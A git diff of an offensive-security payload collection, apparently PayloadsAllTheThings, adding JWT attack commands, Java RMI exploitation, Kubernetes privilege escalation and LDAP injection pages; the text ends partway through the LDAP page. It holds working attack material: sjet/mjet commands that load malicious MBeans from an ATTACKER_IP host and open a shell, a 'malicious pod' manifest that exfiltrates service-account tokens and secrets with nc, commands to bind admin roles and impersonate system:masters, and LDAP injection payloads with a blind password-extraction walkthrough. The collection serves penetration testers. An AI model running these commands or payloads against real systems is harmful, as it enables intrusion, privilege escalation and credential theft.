* Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
|
||||||
|
* Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
|
||||||
|
* Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
|
||||||
|
* Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
|
||||||
|
* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
|
||||||
|
|
||||||
|
|
||||||
### JWT cracker
|
### JWT cracker
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@@ -124,14 +269,22 @@ Secret is "Sn1f"
|
|||||||
|
|
||||||
### Hashcat
|
### Hashcat
|
||||||
|
|
||||||
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](twitter.com/hashcat/status/955154646494040065)
|
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
|
/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
|
||||||
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
|
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
|
||||||
```
|
```
|
||||||
|
|
||||||
## Thanks
|
## CVE
|
||||||
|
|
||||||
|
* CVE-2015-2951 - The alg=none signature-bypass vulnerability
|
||||||
|
* CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability
|
||||||
|
* CVE-2018-0114 - Key injection vulnerability
|
||||||
|
* CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability
|
||||||
|
* CVE-2020-28042 - Null signature vulnerability
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
- [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
|
- [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
|
||||||
- [WebSec CTF - Authorization Token - JWT Challenge](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
|
- [WebSec CTF - Authorization Token - JWT Challenge](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
|
||||||
@@ -139,3 +292,12 @@ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
|
|||||||
- [5 Easy Steps to Understanding JSON Web Token](https://medium.com/vandium-software/5-easy-steps-to-understanding-json-web-tokens-jwt-1164c0adfcec)
|
- [5 Easy Steps to Understanding JSON Web Token](https://medium.com/vandium-software/5-easy-steps-to-understanding-json-web-tokens-jwt-1164c0adfcec)
|
||||||
- [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
|
- [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
|
||||||
- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/)
|
- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/)
|
||||||
|
- [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
|
||||||
|
- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens)
|
||||||
|
- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
|
||||||
|
- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
|
||||||
|
- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
|
||||||
|
- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
|
||||||
|
- [Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE](http://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)
|
||||||
|
- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017](https://trustfoundry.net/jwt-hacking-101/)
|
||||||
|
- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)
|
||||||
|
|||||||
63
Java RMI/README.md
Normal file
63
Java RMI/README.md
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
# Java RMI
|
||||||
|
|
||||||
|
> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Exploitation](#exploitation)
|
||||||
|
* [Requirements](#requirements)
|
||||||
|
* [Detection](#detection)
|
||||||
|
* [Remote Command Execution](#remote-command-execution)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Exploitation
|
||||||
|
|
||||||
|
### Requirements
|
||||||
|
- Jython
|
||||||
|
- The JMX server can connect to a http service that is controlled by the attacker
|
||||||
|
- JMX authentication is not enabled
|
||||||
|
|
||||||
|
|
||||||
|
### Detection
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
|
||||||
|
1089/tcp open java-rmi Java RMI
|
||||||
|
| rmi-vuln-classloader:
|
||||||
|
| VULNERABLE:
|
||||||
|
| RMI registry default configuration remote code execution vulnerability
|
||||||
|
| State: VULNERABLE
|
||||||
|
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
||||||
|
| rmi-dumpregistry:
|
||||||
|
| jmxrmi
|
||||||
|
| javax.management.remote.rmi.RMIServerImpl_Stub
|
||||||
|
```
|
||||||
|
|
||||||
|
### Remote Command Execution
|
||||||
|
|
||||||
|
The attack involves the following steps:
|
||||||
|
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
|
||||||
|
* Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
|
||||||
|
* Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
|
||||||
|
* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
|
||||||
|
* The attacker finally invokes methods from the malicious MBean.
|
||||||
|
|
||||||
|
Exploit the JMX using [sjet](https://github.com/siberas/sjet) or [mjet](https://github.com/mogwailabs/mjet)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
|
||||||
|
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
|
||||||
|
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
|
||||||
|
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
|
||||||
|
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
|
||||||
|
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"
|
||||||
|
|
||||||
|
jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
|
||||||
|
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
|
||||||
|
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH - 28 APR 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
|
||||||
|
* [JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security - 26th March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)
|
||||||
303
Kubernetes/readme.md
Normal file
303
Kubernetes/readme.md
Normal file
@@ -0,0 +1,303 @@
|
|||||||
|
# Kubernetes
|
||||||
|
|
||||||
|
> Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
- [Tools](#tools)
|
||||||
|
- [Container Environment](#container-environment)
|
||||||
|
- [Information Gathering](#information-gathering)
|
||||||
|
- [RBAC Configuration](#rbac-configuration)
|
||||||
|
- [Listing Secrets](#listing-secrets)
|
||||||
|
- [Access Any Resource or Verb](#access-any-resource-or-verb)
|
||||||
|
- [Pod Creation](#pod-creation)
|
||||||
|
- [Privilege to Use Pods/Exec](#privilege-to-use-pods-exec)
|
||||||
|
- [Privilege to Get/Patch Rolebindings](#privilege-to-get-patch-rolebindings)
|
||||||
|
- [Impersonating a Privileged Account](#impersonating-a-privileged-account)
|
||||||
|
- [Privileged Service Account Token](#privileged-service-account-token)
|
||||||
|
- [Interesting endpoints to reach](#interesting-endpoints-to-reach)
|
||||||
|
- [API addresses that you should know](#api-addresses-that-you-should-know)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [kubeaudit](https://github.com/Shopify/kubeaudit) - Audit Kubernetes clusters against common security concerns
|
||||||
|
* [kubesec.io](https://kubesec.io/) - Security risk analysis for Kubernetes resources
|
||||||
|
* [kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/)
|
||||||
|
* [kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters
|
||||||
|
* [katacoda](https://katacoda.com/courses/kubernetes) - Learn Kubernetes using interactive broser-based scenarios
|
||||||
|
* [kubescape](https://github.com/armosec/kubescape) - Automate Kubernetes cluster scans to identify security issues
|
||||||
|
|
||||||
|
## Container Environment
|
||||||
|
|
||||||
|
Containers within a Kubernetes cluster automatically have certain information made available to them through their [container environment](https://kubernetes.io/docs/concepts/containers/container-environment/). Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default.
|
||||||
|
|
||||||
|
### Service Account
|
||||||
|
|
||||||
|
Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume:
|
||||||
|
|
||||||
|
```
|
||||||
|
/var/run/secrets/kubernetes.io/serviceaccount/token
|
||||||
|
/var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||||
|
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
||||||
|
```
|
||||||
|
|
||||||
|
If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly.
|
||||||
|
|
||||||
|
### Environment Variables
|
||||||
|
|
||||||
|
The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to.
|
||||||
|
|
||||||
|
```
|
||||||
|
KUBERNETES_SERVICE_HOST=192.168.154.228
|
||||||
|
KUBERNETES_SERVICE_PORT=443
|
||||||
|
```
|
||||||
|
|
||||||
|
Additionally, [environment variables](https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services) are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns:
|
||||||
|
|
||||||
|
- A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service.
|
||||||
|
- A [Docker links](https://docs.docker.com/network/links/#environment-variables) collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes.
|
||||||
|
|
||||||
|
For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed:
|
||||||
|
|
||||||
|
```
|
||||||
|
REDIS_MASTER_SERVICE_HOST=10.0.0.11
|
||||||
|
REDIS_MASTER_SERVICE_PORT=6379
|
||||||
|
REDIS_MASTER_PORT=tcp://10.0.0.11:6379
|
||||||
|
REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379
|
||||||
|
REDIS_MASTER_PORT_6379_TCP_PROTO=tcp
|
||||||
|
REDIS_MASTER_PORT_6379_TCP_PORT=6379
|
||||||
|
REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11
|
||||||
|
```
|
||||||
|
|
||||||
|
### Simulating `kubectl` API Requests
|
||||||
|
|
||||||
|
Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the [one-line `kubectl` installer](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` *locally* to determine the correct API request to send from the container.
|
||||||
|
|
||||||
|
1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...`
|
||||||
|
1. The output will include HTTP API endpoint URL, the request body, and an example curl command.
|
||||||
|
1. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables.
|
||||||
|
1. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container.
|
||||||
|
1. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag).
|
||||||
|
|
||||||
|
For example, this output was used to create the [Service Account Permissions](#service-account-permissions) request:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted.
|
||||||
|
$ kubectl -v9 auth can-i --list
|
||||||
|
I1028 18:58:38.192352 76118 loader.go:359] Config loaded from file /home/example/.kube/config
|
||||||
|
I1028 18:58:38.193847 76118 request.go:942] Request Body: {"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}
|
||||||
|
I1028 18:58:38.193912 76118 round_trippers.go:419] curl -k -v -XPOST -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1" 'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews'
|
||||||
|
I1028 18:58:38.295722 76118 round_trippers.go:438] POST https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created in 101 milliseconds
|
||||||
|
I1028 18:58:38.295760 76118 round_trippers.go:444] Response Headers:
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
## Information Gathering
|
||||||
|
|
||||||
|
### Service Account Permissions
|
||||||
|
|
||||||
|
The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier.
|
||||||
|
The following can be used to determine the service account's permissions:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Namespace-level permissions using kubectl
|
||||||
|
kubectl auth can-i --list
|
||||||
|
|
||||||
|
# Cluster-level permissions using kubectl
|
||||||
|
kubectl auth can-i --list --namespace=kube-system
|
||||||
|
|
||||||
|
# Permissions list using curl
|
||||||
|
NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace")
|
||||||
|
# For cluster-level, use NAMESPACE="kube-system" instead
|
||||||
|
|
||||||
|
MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
|
||||||
|
TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token")
|
||||||
|
curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
|
||||||
|
--cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
|
||||||
|
--header "Authorization: Bearer ${TOKEN}" \
|
||||||
|
--header "Content-Type: application/json" \
|
||||||
|
--data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'${NAMESPACE}'"}}'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Secrets, ConfigMaps, and Volumes
|
||||||
|
|
||||||
|
Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster.
|
||||||
|
|
||||||
|
From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`.
|
||||||
|
|
||||||
|
True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`.
|
||||||
|
|
||||||
|
### Privileged Containers
|
||||||
|
|
||||||
|
Kubernetes supports a wide range of [security contexts](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) for container and pod execution. The most important of these is the "privileged" [security policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely).
|
||||||
|
|
||||||
|
While there is no official way to check for privileged mode from *within* a container, checking if `/dev/kmsg` exists will usually suffice.
|
||||||
|
|
||||||
|
## RBAC Configuration
|
||||||
|
|
||||||
|
### Listing Secrets
|
||||||
|
|
||||||
|
An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||||
|
```
|
||||||
|
|
||||||
|
### Access Any Resource or Verb
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
resources:
|
||||||
|
- '*'
|
||||||
|
verbs:
|
||||||
|
- '*'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Pod Creation
|
||||||
|
|
||||||
|
Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`.
|
||||||
|
Then create a malicious pod.yaml file.
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Pod
|
||||||
|
metadata:
|
||||||
|
name: alpine
|
||||||
|
namespace: kube-system
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- name: alpine
|
||||||
|
image: alpine
|
||||||
|
command: ["/bin/sh"]
|
||||||
|
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
|
||||||
|
serviceAccountName: bootstrap-signer
|
||||||
|
automountServiceAccountToken: true
|
||||||
|
hostNetwork: true
|
||||||
|
```
|
||||||
|
|
||||||
|
Then `kubectl apply -f malicious-pod.yaml`
|
||||||
|
|
||||||
|
### Privilege to Use Pods/Exec
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh
|
||||||
|
```
|
||||||
|
|
||||||
|
### Privilege to Get/Patch Rolebindings
|
||||||
|
|
||||||
|
The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account.
|
||||||
|
Create a malicious RoleBinging.json file.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
{
|
||||||
|
"apiVersion": "rbac.authorization.k8s.io/v1",
|
||||||
|
"kind": "RoleBinding",
|
||||||
|
"metadata": {
|
||||||
|
"name": "malicious-rolebinding",
|
||||||
|
"namespcaes": "default"
|
||||||
|
},
|
||||||
|
"roleRef": {
|
||||||
|
"apiGroup": "*",
|
||||||
|
"kind": "ClusterRole",
|
||||||
|
"name": "admin"
|
||||||
|
},
|
||||||
|
"subjects": [
|
||||||
|
{
|
||||||
|
"kind": "ServiceAccount",
|
||||||
|
"name": "sa-comp"
|
||||||
|
"namespace": "default"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
|
||||||
|
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
|
||||||
|
```
|
||||||
|
|
||||||
|
### Impersonating a Privileged Account
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||||
|
```
|
||||||
|
|
||||||
|
## Privileged Service Account Token
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ cat /run/secrets/kubernetes.io/serviceaccount/token
|
||||||
|
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
|
||||||
|
```
|
||||||
|
|
||||||
|
## Interesting endpoints to reach
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# List Pods
|
||||||
|
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/
|
||||||
|
|
||||||
|
# List secrets
|
||||||
|
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
|
||||||
|
|
||||||
|
# List deployments
|
||||||
|
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments
|
||||||
|
|
||||||
|
# List daemonsets
|
||||||
|
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## API addresses that you should know
|
||||||
|
|
||||||
|
*(External network visibility)*
|
||||||
|
|
||||||
|
### cAdvisor
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -k https://<IP Address>:4194
|
||||||
|
```
|
||||||
|
|
||||||
|
### Insecure API server
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -k https://<IP Address>:8080
|
||||||
|
```
|
||||||
|
|
||||||
|
### Secure API Server
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -k https://<IP Address>:(8|6)443/swaggerapi
|
||||||
|
curl -k https://<IP Address>:(8|6)443/healthz
|
||||||
|
curl -k https://<IP Address>:(8|6)443/api/v1
|
||||||
|
```
|
||||||
|
|
||||||
|
### etcd API
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -k https://<IP address>:2379
|
||||||
|
curl -k https://<IP address>:2379/version
|
||||||
|
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||||
|
```
|
||||||
|
|
||||||
|
### Kubelet API
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -k https://<IP address>:10250
|
||||||
|
curl -k https://<IP address>:10250/metrics
|
||||||
|
curl -k https://<IP address>:10250/pods
|
||||||
|
```
|
||||||
|
|
||||||
|
### kubelet (Read only)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -k https://<IP Address>:10255
|
||||||
|
http://<external-IP>:10255/pods
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-1)
|
||||||
|
- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2)
|
||||||
|
- [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019](https://securityboulevard.com/2019/11/kubernetes-pentest-methodology-part-3)
|
||||||
|
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
|
||||||
|
- [Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation)
|
||||||
197
LDAP Injection/README.md
Normal file
197
LDAP Injection/README.md
Normal file
@@ -0,0 +1,197 @@
|
|||||||
|
# LDAP injection
|
||||||
|
|
||||||
|
> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Exploitation](#exploitation)
|
||||||
|
* [Payloads](#payloads)
|
||||||
|
* [Blind Exploitation](#blind-exploitation)
|
||||||
|
* [Defaults attributes](#defaults-attributes)
|
||||||
|
* [Exploiting userPassword attribute](#exploiting-userpassword-attribute)
|
||||||
|
* [Scripts](#scripts)
|
||||||
|
* [Discover valid LDAP fields](#discover-valid-ldap-fields)
|
||||||
|
* [Special blind LDAP injection](#special-blind-ldap-injection)
|
||||||
|
|
||||||
|
## Exploitation
|
||||||
|
|
||||||
|
Example 1.
|
||||||
|
|
||||||
|
```sql
|
||||||
|
user = *)(uid=*))(|(uid=*
|
||||||
|
pass = password
|
||||||
|
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
|
||||||
|
```
|
||||||
|
|
||||||
|
Example 2
|
||||||
|
|
||||||
|
```sql
|
||||||
|
user = admin)(!(&(1=0
|
||||||
|
pass = q))
|
||||||
|
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
|
||||||
|
```
|
||||||
|
|
||||||
|
## Payloads
|
||||||
|
|
||||||
|
```text
|
||||||
|
*
|
||||||
|
*)(&
|
||||||
|
*))%00
|
||||||
|
)(cn=))\x00
|
||||||
|
*()|%26'
|
||||||
|
*()|&'
|
||||||
|
*(|(mail=*))
|
||||||
|
*(|(objectclass=*))
|
||||||
|
*)(uid=*))(|(uid=*
|
||||||
|
*/*
|
||||||
|
*|
|
||||||
|
/
|
||||||
|
//
|
||||||
|
//*
|
||||||
|
@*
|
||||||
|
|
|
||||||
|
admin*
|
||||||
|
admin*)((|userpassword=*)
|
||||||
|
admin*)((|userPassword=*)
|
||||||
|
x' or name()='username' or 'x'='y
|
||||||
|
```
|
||||||
|
|
||||||
|
## Blind Exploitation
|
||||||
|
|
||||||
|
We can extract using a bypass login
|
||||||
|
|
||||||
|
```sql
|
||||||
|
(&(sn=administrator)(password=*)) : OK
|
||||||
|
(&(sn=administrator)(password=A*)) : KO
|
||||||
|
(&(sn=administrator)(password=B*)) : KO
|
||||||
|
...
|
||||||
|
(&(sn=administrator)(password=M*)) : OK
|
||||||
|
(&(sn=administrator)(password=MA*)) : KO
|
||||||
|
(&(sn=administrator)(password=MB*)) : KO
|
||||||
|
...
|
||||||
|
(&(sn=administrator)(password=MY*)) : OK
|
||||||
|
(&(sn=administrator)(password=MYA*)) : KO
|
||||||
|
(&(sn=administrator)(password=MYB*)) : KO
|
||||||
|
(&(sn=administrator)(password=MYC*)) : KO
|
||||||
|
...
|
||||||
|
(&(sn=administrator)(password=MYK*)) : OK
|
||||||
|
(&(sn=administrator)(password=MYKE)) : OK
|
||||||
|
```
|
||||||
|
|
||||||
|
## Defaults attributes
|
||||||
